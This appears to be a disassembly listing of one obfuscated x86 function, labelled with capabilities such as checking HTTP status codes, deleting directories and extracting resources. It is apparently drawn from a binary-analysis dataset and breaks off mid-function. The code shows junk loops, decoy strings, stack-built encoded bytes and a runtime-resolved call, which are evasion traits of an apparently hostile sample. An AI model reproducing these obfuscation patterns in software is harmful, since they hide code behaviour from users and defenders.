Function at 0x1002afff
Capabilities:
Check http status code
Delete directory
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x10060e84
call fcn.1005fb28
sub esp, 0x56c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x248], edx
mov dword [ebp - 0x40], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x1ac], ebx
mov dword [ebp - 0x1a8], ebx
mov dword [ebp - 0x1a4], ebx
mov byte [ebp - 4], 1
mov dword [ebp - 0x24], 0x1c34
cmp dword [ebp - 0x24], 0x1e14
jle 0x1002b099
mov esi, ebx
mov dword [ebp - 0x1c], ebx
mov edi, ebx
mov dword [ebp - 0x14], ebx
mov eax, esi
mov dword [ebp - 0x2c], ebx
cdq
mov esi, 0xb57
idiv edi
mov dword [ebp - 0x28], edx
mov edi, edx
mov eax, ebx
mov ecx, 0x1007d058
cdq
push edx
push eax
call fcn.100136b0
add ebx, edi
dec esi
jne 0x1002b065
mov edi, dword [ebp - 0x14]
inc edi
mov dword [ebp - 0x14], edi
push esi
mov esi, dword [ebp - 0x1c]
pop ebx
cmp edi, 0x31da
jl 0x1002b053
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0x1cd2
jl 0x1002b04e
mov byte [ebp - 4], 2
cmp dword [ebp - 0x24], 0x19ff
jge 0x1002b0d6
mov edx, str.fkwmfm_ffleyiwy_eevo
mov ecx, 0x1007d058
call fcn.100160b3
jmp 0x1002b0d6
mov dword [ebp - 4], 1
mov dword [ebp - 0x14], ebx
jmp 0x1002b0f3
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x258], 0x25b9b55b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002b0e2
mov dword [ebp - 0x254], 0x17
jmp 0x1002b127
push 0xc2c
push ecx
push ecx
lea eax, [ebp - 0x4c]
mov byte [ebp - 0x4c], bl
push eax
sub esp, 0x10
push ebx
push ecx
push ecx
call fcn.10029968
add esp, 0x2c
inc dword [ebp - 0x254]
cmp dword [ebp - 0x254], 0x1d
je 0x1002b105
mov dword [ebp - 0x27c], 0xcea5d6c0
mov dword [ebp - 0x28], 0x590c
cmp dword [ebp - 0x28], 0x5bbe
jle 0x1002b1bd
mov eax, ebx
mov dword [ebp - 0x14], ebx
mov edi, ebx
mov esi, ebx
mov ecx, ebx
mov dword [ebp - 0x24], 0x4267
mov dword [ebp - 0x1c], ecx
add eax, edi
and eax, ecx
lea ecx, [ebp - 0x42c]
cdq
push edx
push eax
call fcn.10001ade
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002b17b
mov eax, dword [eax]
push eax
call fcn.1004752f
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x42c]
call fcn.10013e9b
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
add ecx, esi
dec dword [ebp - 0x24]
mov dword [ebp - 0x1c], ecx
jne 0x1002b15f
inc esi
cmp esi, 0x3950
jl 0x1002b153
inc edi
cmp edi, 0x7c27
jl 0x1002b151
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x855
jl 0x1002b14f
push 0x5586
push 0x5584
lea eax, [ebp - 0x27c]
mov edx, 0x5ec8
push eax
push 0x3431
push 0x3613
push 0xdd5
push 0x1cf1
push ebx
push 1
push 1
push 0x28ba
mov ecx, 0x7547
call fcn.10029f87
add esp, 0x2c
cmp dword [ebp - 0x28], 0x561f
jge 0x1002b212
push str.nknbevw_wpl_qhnmn_fxempd_krpv_gmsk_ule
call fcn.1004752f
pop ecx
push ecx
lea eax, [ebp - 0x4b]
mov dword [ebp - 4], 1
push eax
push ebx
push 0x4349
mov byte [ebp - 0x4b], bl
push 0x7706
call fcn.100298f3
mov dword [ebp - 0x98], 0x48048105
lea ecx, [ebp - 0x1a0]
mov dword [ebp - 0x94], 0x3106170a
add esp, 0x14
mov dword [ebp - 0x90], 0xc022c0b
mov dword [ebp - 0x8c], 0x1c734f04
mov word [ebp - 0x88], 0x77d
mov byte [ebp - 0x86], 0xc
mov byte [ebp - 0x85], bl
mov dword [ebp - 0x84], 0x82f0c2c
mov dword [ebp - 0x80], 0x9060302
mov word [ebp - 0x7c], 0x11c
mov byte [ebp - 0x7a], 0x15
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x20], 0xd8da8e97
mov dword [ebp - 0x20], 0xfffffffa
mov dword [ebp - 0x20], 0x66f5a9c4
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x20], 0x8f0aa6e6
mov dword [ebp - 0x240], 0xffffffff
push 3
call fcn.100138f8
push ecx
push 0x569c
push 1
lea eax, [ebp - 0x1a0]
mov byte [ebp - 4], 6
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.100298f3
add esp, 0x14
mov dword [ebp - 0x30], ebx
push 3
pop ecx
jmp 0x1002b2fa
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x450], ecx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ecx
jl 0x1002b2ed
mov dword [ebp - 0x30], ebx
jmp 0x1002b315
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x288], 0xdfad5bef
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x1002b304
dec dword [ebp - 0x288]
lea eax, [ebp - 0x240]
push ecx
push eax
push 1
lea eax, [ebp - 0x1a0]
mov edx, 0x39f9
push 0x70e8
push eax
call fcn.10029da8
add esp, 0x14
mov byte [ebp - 4], 1
cmp dword [ebp - 0x1a0], 0
je 0x1002b36f
push dword [ebp - 0x1a0]
call fcn.10047697
pop ecx
mov dword [ebp - 0x1a0], ebx
mov dword [ebp - 0x19c], ebx
mov dword [ebp - 0x198], ebx
mov dword [ebp - 0x24], 0x42fb
cmp dword [ebp - 0x24], 0x45a4
jle 0x1002b3e4
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov edi, ebx
mov esi, ebx
mov eax, ebx
mov dword [ebp - 0x1c], 0x13a4
mov dword [ebp - 0x14], eax
and eax, edi
lea ecx, [ebp - 0x474]
cdq
push edx
push eax
call fcn.10001ade
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002b3b0
mov eax, dword [eax]
push eax
call fcn.1004752f
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x474]
call fcn.10013e9b
mov eax, dword [ebp - 0x14]
add eax, esi
dec dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
jne 0x1002b396
inc esi
cmp esi, 0x6726
jl 0x1002b38a
inc edi
cmp edi, 0x7c6e
jl 0x1002b388
cmp dword [ebp - 0x24], 0x41d8
push 0x2d
pop eax
mov word [ebp - 0x32e], ax
jge 0x1002b402
push str.rvspdb_ownwu_wpvaqvnep_gmcojvv_opsn_ifzwvibad_oisu_bimd_mqj_yofpfsxk_peqjlv_ifvjdkbsf
call fcn.1004752f
pop ecx
xor eax, eax
lea ecx, [ebp - 0x21c]
inc eax
push eax
mov dword [ebp - 4], eax
call fcn.100138f8
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x204]
mov dword [ebp - 0x20], 8
push 3
call fcn.100138f8
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x20], 0xcf427579
mov dword [ebp - 0x14], 0x22a1
cmp dword [ebp - 0x14], 0x2329
jle 0x1002b46c
mov esi, ebx
mov edi, esi
mov ebx, 0x1756
mov eax, edi
mov ecx, 0x1007d058
cdq
push edx
push eax
call fcn.100136b0
dec edi
dec ebx
jne 0x1002b450
inc esi
cmp esi, 0x570d
jl 0x1002b449
mov dword [ebp - 0x280], 0x714e288a
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x14], 0x20f1
jge 0x1002b4b0
mov edx, str.qzijgjw_dynuafgc_dibpwmo_fviei_mfgcuy_emn_swltx_xlhuzbtk_ynkhr_vuhi_cgegqtsby_gcv
mov ecx, 0x1007d058
call fcn.100160b3
jmp 0x1002b4b0
push ebx
push 0x21c
push 0x2680
push 0x54df
mov dword [ebp - 4], 0xa
lea eax, [ebp - 0x21c]
push ebx
mov dword [ebp - 0x244], 0x37692afb
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x20], 0xedb9d72f
mov dl, 1
push eax
call fcn.1002a0ec
add esp, 0x18
mov dword [ebp - 0x48], ebx
jmp 0x1002b503
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x414], 0x72ba75a5
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 3
jl 0x1002b4f2
lea eax, [ebp - 0x204]
mov edx, 0x4127
push eax
push 1
lea eax, [ebp - 0x48]
mov ecx, 0x1148
push eax
push 0x3c73
push 0x7280
push 1
push 0x2586
push 1
call fcn.10029e5a
mov esi, dword [ebp - 0x21c]
add esp, 0x20
mov dword [esi], 0xe
cmp dword [esi], 0xffffffff
jge 0x1002b833
xor eax, eax
inc eax
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x20], 0xa5f9
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x20], 0x41b44adc
mov dword [ebp - 0x20], 5
mov dword [ebp - 0x18], 0x1476
cmp dword [ebp - 0x18], 0x1625
jle 0x1002b60f
mov dword [ebp - 0x28], ebx
mov edx, ebx
mov dword [ebp - 0x24], 0x4043
mov dword [ebp - 0x14], edx
mov esi, ebx
mov dword [ebp - 0x1c], ebx
mov ecx, esi
mov edi, ebx
mov esi, edx
sar esi, cl
mov eax, edi
lea ecx, [ebp - 0x48c]
or eax, esi
cdq
push edx
push eax
call fcn.10001ade
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002b5c7
mov eax, dword [eax]
push eax
call fcn.1004752f
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x48c]
call fcn.10013e9b
inc edi
cmp edi, 0x14b6
jl 0x1002b5ab
mov esi, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0x11c9
jl 0x1002b5a3
mov eax, dword [ebp - 0x28]
add edx, eax
dec dword [ebp - 0x24]
mov dword [ebp - 0x14], edx
jne 0x1002b59e
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x660e
jl 0x1002b592
push dword [ebp - 0x150]
movdqa xmm0, xmmword [0x1006f280]
lea eax, [ebp - 0x338]
push eax
lea eax, [ebp - 0x348]
mov dword [ebp - 0x184], ebx
push eax
push ebx
lea ecx, [ebp - 0x184]
mov dword [ebp - 0x180], ebx
movdqu xmmword [ebp - 0x348], xmm0
mov dword [ebp - 0x17c], ebx
call fcn.10016a68
cmp dword [ebp - 0x18], 0x12e6
jge 0x1002b665
push str.nirrsnm_rgjvlye_sblvszkxl_bnbjbeckb_btau_dmbhvmgn
call fcn.1004752f
pop ecx
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x28], 0xed3
cmp dword [ebp - 0x28], 0x10d5
jle 0x1002b6df
mov dword [ebp - 0x24], ebx
mov eax, ebx
mov dword [ebp - 0x1c], 0x2b7e
mov dword [ebp - 0x14], eax
mov esi, ebx
mov edi, ebx
mov ecx, esi
mov ebx, eax
shl ebx, cl
mov eax, edi
mov ecx, 0x1007d058
and eax, ebx
cdq
push edx
push eax
call fcn.100136b0
inc edi
cmp edi, 0x7cd3
jl 0x1002b695
mov eax, dword [ebp - 0x14]
inc esi
push 0
pop ebx
cmp esi, 0x4e3b
jl 0x1002b68d
mov edi, dword [ebp - 0x24]
add eax, edi
dec dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
jne 0x1002b68b
inc edi
mov dword [ebp - 0x24], edi
cmp edi, 0x401
jl 0x1002b67f
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x20], 2
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0x28], 0xdd9
jge 0x1002b720
mov edx, str.glffsys_hzigbsjp_tpxav
mov ecx, 0x1007d058
call fcn.100160b3
jmp 0x1002b720
mov dword [ebp - 4], 0xd
lea ecx, [ebp - 0x1ec]
mov dword [ebp - 0x20], 0x3c076a5d
push 1
call fcn.100138f8
mov byte [ebp - 4], 0x12
mov dword [ebp - 0x260], 9
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x20], 0xccbd95d6
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x268], 4
mov dword [ebp - 0x54], ebx
jmp 0x1002b77e
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x3b8], 0xd491
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], 2
jl 0x1002b76d
lea eax, [ebp - 0x1ec]
push eax
push ecx
push ebx
push 0x1ebe
lea edx, [ebp - 0x54]
call fcn.10029bc5
lea eax, [ebp - 0x260]
mov dl, 1
push eax
push 1
push ebx
push 0x60c2
lea ecx, [ebp - 0x278]
call fcn.1002a45e
lea eax, [ebp - 0x268]
mov dl, 1
push eax
push ebx
push 0x2674
push 0x331a
xor cl, cl
call fcn.1002999a
add esp, 0x30
cmp dword [ebp - 0x1ec], 0
je 0x1002b7fb
push dword [ebp - 0x1ec]
call fcn.10047697
pop ecx
mov dword [ebp - 0x1ec], ebx
mov dword [ebp - 0x1e8], ebx
mov dword [ebp - 0x1e4], ebx
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x184], 0
je 0x1002b826
push dword [ebp - 0x184]
call fcn.10047697
pop ecx
mov dword [ebp - 0x184], ebx
mov dword [ebp - 0x180], ebx
mov dword [ebp - 0x17c], ebx
mov esi, dword [ebp - 0x21c]
dec dword [esi]
jmp 0x1002b547
push 0x3fc
push 0x669e
push 0x733a
push 0x433a
push 0x2413
lea eax, [ebp - 0x244]
mov edx, 0x2096
push eax
lea eax, [ebp - 0x280]
mov ecx, 0x4d34
push eax
push 1
push 1
push 1
push 0x635f
call fcn.10029f87
add esp, 0x2c
cmp dword [ebp - 0x204], 0
je 0x1002b89e
push dword [ebp - 0x204]
call fcn.10047697
pop ecx
mov dword [ebp - 0x204], ebx
mov dword [ebp - 0x200], ebx
mov dword [ebp - 0x1fc], ebx
push esi
mov byte [ebp - 4], 1
call fcn.10047697
movzx eax, byte [ebp - 0x98]
pop ecx
push 2
mov ecx, ebx
mov dword [ebp - 0x21c], ebx
mov dword [ebp - 0x218], ebx
lea edi, [eax*2 + 2]
mov dword [ebp - 0x214], ebx
pop esi
mov dword [ebp - 0x144], ecx
cmp esi, edi
jne 0x1002b8ee
movzx eax, byte [ebp + esi - 0x98]
dec esi
add esi, eax
lea ecx, [eax + 1]
mov dword [ebp - 0x144], ecx
jmp 0x1002b947
movzx edx, byte [ebp + esi - 0x97]
mov eax, esi
sub eax, ecx
push 0x652a
push 1
push 1
movzx eax, byte [ebp + eax - 0x9a]
movzx eax, word [ebp + eax*2 - 0x338]
mov ecx, eax
and eax, edx
or ecx, edx
xor dl, dl
sub ecx, eax
movzx eax, byte [ebp + esi - 0x98]
mov word [ebp + eax*2 - 0x338], cx
lea eax, [ebp - 0x144]
push eax
mov ecx, 0x5f5f
call fcn.1002a45e
mov ecx, dword [ebp - 0x144]
add esp, 0x10
add esi, 2
cmp esi, 0x1f
jb 0x1002b8d4
push 0x626d
xor eax, eax
push 1
push ecx
mov word [ebp - 0x31e], ax
lea ecx, [ebp - 0x264]
mov dword [ebp - 0x264], ebx
call fcn.1002abc5
add esp, 0xc
mov word [ebp - 0x78], 0x7805
mov byte [ebp - 0x76], 3
mov byte [ebp - 0x75], bl
mov word [ebp - 0x74], 0x607
push 0x63
pop eax
push 2
mov byte [ebp - 0x72], bl
mov dword [ebp - 0x71], 0x206060b
mov dword [ebp - 0x6d], 0x14c0445
mov byte [ebp - 0x69], 0xe
mov word [ebp - 0x292], ax
pop esi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], esi
cmp esi, 0x10
jae 0x1002ba9e
mov dword [ebp - 0x28], 0x7e99
cmp dword [ebp - 0x28], 0x80e4
jle 0x1002ba26
mov ecx, ebx
mov dword [ebp - 0x14], ebx
mov eax, ebx
mov dword [ebp - 0x24], ebx
xor eax, ecx
mov edi, ebx
mov dword [ebp - 0x2c], eax
mov esi, ebx
mov ebx, dword [ebp - 0x2c]
mov eax, ebx
mov ecx, 0x1007d058
or eax, esi
or eax, edi
cdq
push edx
push eax
call fcn.100136b0
inc esi
cmp esi, 0x4dfe
jl 0x1002b9de
inc edi
push 0
pop ebx
cmp edi, 0x6e3e
jl 0x1002b9d9
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x53da
jl 0x1002b9d2
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x25ac
jl 0x1002b9cd
mov esi, dword [ebp - 0x1c]
movzx edx, byte [ebp + esi - 0x77]
mov eax, esi
sub eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x7a]
movzx eax, word [ebp + eax*2 - 0x29c]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x78]
mov byte [ebp - 4], 0x13
cmp dword [ebp - 0x28], 0x7ca1
mov word [ebp + eax*2 - 0x29c], cx
jge 0x1002ba8f
mov edx, str.wztikey_kwkce_pnqsd_nbk_bnluitd_swtio_bwdumse_txfzuufwo
mov ecx, 0x1007d058
call fcn.100160b3
jmp 0x1002ba8f
mov dword [ebp - 4], 1
add esi, 2
jmp 0x1002b9ac
xor eax, eax
mov word [ebp - 0x28c], ax
push 3
mov dword [ebp - 0x14], 0x73838a1f
mov dword [ebp - 0x14], ebx
pop ecx
jmp 0x1002bac3
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x45c], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002bab6
push 2
mov dword [ebp - 0x14], ebx
pop esi
cmp dword [ebp - 0x14], esi
jg 0x1002bb2a
push 1
push 0x187
push 0x34cc
lea eax, [ebp - 0x4d]
mov byte [ebp - 0x4d], bl
push eax
push 1
push 0x22b9
xor dl, dl
mov ecx, 0xc02
call fcn.1002a0ec
push 1
push 0x5e8a
lea eax, [ebp - 0x3a]
mov byte [ebp - 0x3a], bl
push eax
push 0x533b
push 1
push 0x4aca
mov dl, 1
mov ecx, 0x1094
call fcn.1002a0ec
add esp, 0x30
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jle 0x1002bad3
push ecx
push 0x1b92
push 0x77e4
push 0x1577
push ebx
sub esp, 0x10
mov ecx, 0xc07
call fcn.1002a278
add esp, 0x24
mov dword [ebp - 0x308], ebx
xor eax, eax
lea ecx, [ebp - 0x318]
mov word [ebp - 0x318], ax
lea eax, [ebp - 0x29c]
push 7
pop edi
push eax
mov dword [ebp - 0x304], edi
call fcn.10013f87
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x2fc]
xor eax, eax
mov dword [ebp - 0x2e8], edi
mov word [ebp - 0x2fc], ax
lea eax, [ebp - 0x338]
push eax
mov dword [ebp - 0x2ec], ebx
call fcn.10013f87
lea eax, [ebp - 0x2fc]
push eax
lea ecx, [ebp - 0x408]
call fcn.100189ef
lea eax, [ebp - 0x318]
push eax
lea ecx, [ebp - 0x3f0]
call fcn.100189ef
push ebx
push 1
lea ecx, [ebp - 0x2fc]
call fcn.1001400f
push ebx
push 1
lea ecx, [ebp - 0x318]
call fcn.1001400f
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x3d8]
push dword [ebp - 0x150]
lea ecx, [ebp - 0x194]
mov dword [ebp - 0x194], ebx
push eax
lea eax, [ebp - 0x408]
mov dword [ebp - 0x190], ebx
push eax
push ebx
mov dword [ebp - 0x18c], ebx
call fcn.1002fb2e
push fcn.1002ce8f
push 1
push 0x30
lea eax, [ebp - 0x408]
mov byte [ebp - 4], 0x18
push eax
call fcn.10047a30
mov ecx, edi
xor eax, eax
lea edi, [ebp - 0x338]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x20], 0x67b8
mov dword [ebp - 0x24], 0xfffffff7
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], 0x9d88
mov dword [ebp - 0x2c], 0xe213
mov dword [ebp - 0x2c], 0x2eb3
cmp dword [ebp - 0x2c], 0x2f47
jle 0x1002bcd3
mov edx, ebx
mov dword [ebp - 0x14], ebx
mov ecx, ebx
mov dword [ebp - 0x1c], ebx
mov edi, ebx
mov eax, edi
or eax, ecx
lea ecx, [ebp - 0x444]
or eax, edx
cdq
push edx
push eax
call fcn.10001ade
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002bc97
mov eax, dword [eax]
push eax
call fcn.1004752f
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x444]
call fcn.10013e9b
mov ecx, dword [ebp - 0x1c]
inc edi
mov edx, dword [ebp - 0x14]
cmp edi, 0x697
jl 0x1002bc79
inc ecx
mov dword [ebp - 0x1c], ecx
cmp ecx, 0x2b89
jl 0x1002bc77
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x2571
jl 0x1002bc72
mov dword [ebp - 0x18], ebx
jmp 0x1002bce9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x364], 0xdb50
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002bcd8
cmp dword [ebp - 0x2c], 0x2c1e
jge 0x1002bd03
push str.pzdywhue_rupfzeb_dpon_txniosxix_gxk_cff_chhubcop_wbtcdpsmn_amfgc
call fcn.1004752f
pop ecx
mov dword [ebp - 4], 0x18
mov dword [ebp - 0x18], ebx
jmp 0x1002bd20
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x398], 0x8bac04ee
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002bd0f
mov dword [ebp - 0x18], ebx
jmp 0x1002bd3b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x388], 0xfffffffe
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002bd2a
mov eax, dword [ebp - 0x360]
xor edx, edx
mov eax, dword [ebp - 0x380]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setl dl
inc dword [ebp - 0x28]
cmp eax, edx
jne 0x1002bd6f
xor eax, eax
inc eax
jmp 0x1002bd71
mov eax, ebx
mov dword [ebp - 0x2c], eax
lea edi, [ebp - 0x29c]
xor eax, eax
lea ecx, [ebp - 0x194]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp + 8]
push eax
call fcn.1002a7df
mov dword [ebp - 0x58], 0x8c45cdbe
xor eax, eax
inc eax
mov dword [ebp - 0x22c], eax
mov dword [ebp - 0x270], 0xffffffff
mov dword [ebp - 0x274], eax
pop ecx
mov dword [ebp - 0x14], ebx
jmp 0x1002bdc8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3a0], 0xe46552de
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002bdb7
lea eax, [ebp - 0x58]
push eax
push ebx
push ecx
mov ecx, 0x7ae4
call fcn.1002abc5
pop ecx
pop ecx
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x270]
push eax
lea eax, [ebp - 0x22c]
push eax
push 1
sub esp, 0x10
lea ecx, [ebp - 0x274]
call fcn.1002a278
add esp, 0x24
push ebx
push 0x10ab6
push 0xb98e
call fcn.10012c87
pop ecx
pop ecx
call eax
push 0x40e6
push 1
push 1
push 0x7db0
mov dl, 1
mov ecx, 0xe6c
call fcn.1002a45e
mov eax, 0xac70
add esp, 0x10
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1dc], eax
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1d4], eax
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x14], ebx
jmp 0x1002be6f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x210], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002be5e
mov dword [ebp - 0x210], 0xffffffe4
jmp 0x1002bff4
mov dword [ebp - 0x18], 0xb1658084
mov dword [ebp - 0x28], 0xd089
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x1002bfe4
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x1e0], ebx
je 0x1002bee3
cmp dword [ebp - 0x28], ebx
je 0x1002bee0
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
xor eax, eax
cmp ecx, 0x2d5f
setg al
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jne 0x1002bee0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x208]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x1e0]
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x1e0], 1
ja 0x1002bf0c
cmp dword [ebp - 0x1e0], ebx
jne 0x1002bf0c
mov edi, ebx
jmp 0x1002bf0f
xor edi, edi
inc edi
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x1e0]
mov eax, dword [ebp - 0x18]
cmp edi, eax
sete cl
xor eax, eax
cmp ecx, edx
setne al
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
je 0x1002bf82
mov dword [ebp - 0x28], ebx
jmp 0x1002bf7a
mov dword [ebp - 0x14], ebx
jmp 0x1002bf71
mov dword [ebp - 0x24], ebx
jmp 0x1002bf50
push ebx
mov edx, 0x407c
call fcn.1002ae1a
inc dword [ebp - 0x24]
pop ecx
cmp dword [ebp - 0x24], 3
jle 0x1002bf41
mov dword [ebp - 0x1c], ebx
jmp 0x1002bf68
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1e0], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1002bf5b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jle 0x1002bf3c
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jle 0x1002bf37
jmp 0x1002bfe1
push ebx
push 1
push 0x4b4f
push 0x3d80
push 0x3ad0
push 0x6c22
push 0x4646
push 1
push 0x57e
push 0xf57
push 0x51f8
push 0x5123
mov edx, 0x4c15
mov ecx, 0xf90
call fcn.1002ae82
push 1
push 0x10
push ebx
push 0x1876
push 1
mov edx, 0x172d
mov ecx, 0x60e5
call fcn.1002a839
add esp, 0x44
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jle 0x1002bea1
inc dword [ebp - 0x210]
cmp dword [ebp - 0x210], 1
jl 0x1002be84
sub esp, 0xc
lea eax, [ebp - 0x2e0]
mov edx, 0xa40
xor cl, cl
push 0x61bb
push eax
call fcn.1002afe5
add esp, 0x14
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x1c], ebx
lea ecx, [ebp - 0x1b8]
push 3
call fcn.100138f8
lea eax, [ebp - 0x1b8]
mov byte [ebp - 4], 0x1b
push eax
push 0x7a6b
push 0xf65
push ebx
push ecx
push ecx
lea edx, [ebp - 0x2e4]
call fcn.1002a95f
add esp, 0x18
mov dword [ebp - 0x1c], ebx
jmp 0x1002c0b7
push ecx
lea eax, [ebp - 0x41]
mov dword [ebp - 0x14], 1
mov byte [ebp - 0x41], bl
mov dl, 1
push eax
call fcn.1002a80c
pop ecx
pop ecx
mov dword [ebp - 0x14], ebx
jmp 0x1002c0af
mov eax, dword [ebp - 0x1b8]
cmp dword [eax], ebx
jne 0x1002c0b4
push 1
lea eax, [ebp - 0x49]
mov byte [ebp - 0x49], bl
push eax
push 0x551e
push 0x6ea4
push ebx
push 0x61ee
mov dl, 1
mov ecx, 0x58ab
call fcn.1002a0ec
add esp, 0x18
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jle 0x1002c07a
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe9
jge 0x1002c05d
mov byte [ebp - 4], 0x18
cmp dword [ebp - 0x1b8], 0
je 0x1002c0e8
push dword [ebp - 0x1b8]
call fcn.10047697
pop ecx
mov dword [ebp - 0x1b8], ebx
mov dword [ebp - 0x1b4], ebx
mov dword [ebp - 0x1b0], ebx
push 0x74
pop eax
push 0x38
mov byte [ebp - 0x10f], al
mov ecx, ebx
mov byte [ebp - 0x10d], al
pop eax
push 2
mov dword [ebp - 0x138], 0x819a224
mov byte [ebp - 0x134], 0x1a
mov byte [ebp - 0x133], bl
mov dword [ebp - 0x132], 0x6c097116
mov dword [ebp - 0x12e], 0x72056e1b
mov dword [ebp - 0x12a], 0x1e18020b
mov byte [ebp - 0x126], bl
mov dword [ebp - 0x125], 0x1f3f1156
mov dword [ebp - 0x121], 0x214a2573
mov dword [ebp - 0x11d], 0x60f204b
mov dword [ebp - 0x119], 0x3010f09
mov word [ebp - 0x115], 0x709
mov byte [ebp - 0x113], bl
mov word [ebp - 0x112], 0x7d23
mov byte [ebp - 0x110], 0x15
mov byte [ebp - 0x10e], 1
mov dword [ebp - 0x10c], 0x7d140108
mov dword [ebp - 0x108], 0x212091c
